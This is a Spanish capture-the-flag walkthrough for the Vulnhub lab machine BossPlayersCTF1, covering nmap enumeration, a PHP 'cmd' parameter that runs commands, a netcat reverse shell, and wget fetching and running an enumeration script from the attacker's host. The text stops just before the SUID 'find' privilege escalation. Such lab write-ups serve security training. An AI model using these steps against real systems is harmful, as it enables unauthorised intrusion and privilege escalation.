Hoy vamos a hackear la maquina de Vulnhub llamada
BossPlayersCTF1. Podeis descargarla desde:
BossPlayersCTF
Video
Enumeration
Empezamos con un nmap para ver que puertos
tiene abiertos.
sml@m0nike:~$ nmap -A -p- 192.168.1.109
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 06:29 CET
Nmap scan report for bossplayers.home (192.168.1.109)
Host is up (0.0066s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 ac:0d:1e:71:40:ef:6e:65:91:95:8d:1c:13:13:8e:3e (RSA)
| 256 24:9e:27:18:df:a4:78:3b:0d:11:8a:92:72:bd:05:8d (ECDSA)
|_ 256 26:32:8d:73:89:05:29:43:8e:a1:13:ba:4f:83:53:f8 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.11 seconds
Si miramos el codigo fuente de la pagina web inicial,
abajo del todo podemos ver:
Despues de probar varios parametros en el php, vemos que
"cmd" nos devuelve el output del comando que le pasamos como
parametro, sabiendo esto miramos si tiene nc..
Vemos que tiene nc asi que ponemos en nuestro pc el puerto 4444
a la escucha.
sml@m0nike:~$ nc -nlvp 4444
Ahora ejecutamos el siguiente comando para obtener una reverse
shell, es decir, que la maquina victima se conecte al puerto
que estamos escuchando y nos facilite una shell.
sml@m0nike:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.1.137] from (UNKNOWN) [192.168.1.109] 57012
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Bien, ahora que estamos dentro, queremos escalar privilegios.
Lo primero es obtener una shell interactiva con:
python -c 'import pty; pty.spawn("/bin/sh")'
Procedemos a descargarnos un script para enumerar el
sistema.
$ wget http://192.168.1.137/lin.sh
wget http://192.168.1.137/lin.sh
--2020-02-08 18:19:40-- http://192.168.1.137/lin.sh
Connecting to 192.168.1.137:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46632 (46K) [application/octet-stream]
Saving to: 'lin.sh'
lin.sh 0%[ ] 0 --.-KB/s lin.s
h 100%[===================>] 45.54K --.-KB/s in 0s
2020-02-08 18:19:40 (348 MB/s) - 'lin.sh' saved [46632/46632]
Ejecutamos el script.
$ sh lin.sh
..SNIP..
-e [+] Possibly interesting SGID files:
-rwsr-sr-x 1 root root 198976 Jan 8 2019 /usr/bin/grep
-rwsr-sr-x 1 root root 315904 Feb 16 2019 /usr/bin/find
..SNIP..
Vemos que tiene el ejecutable find como fichero SGID.
Podemos utilizar find para escalar privilegios
de la siguiente forma: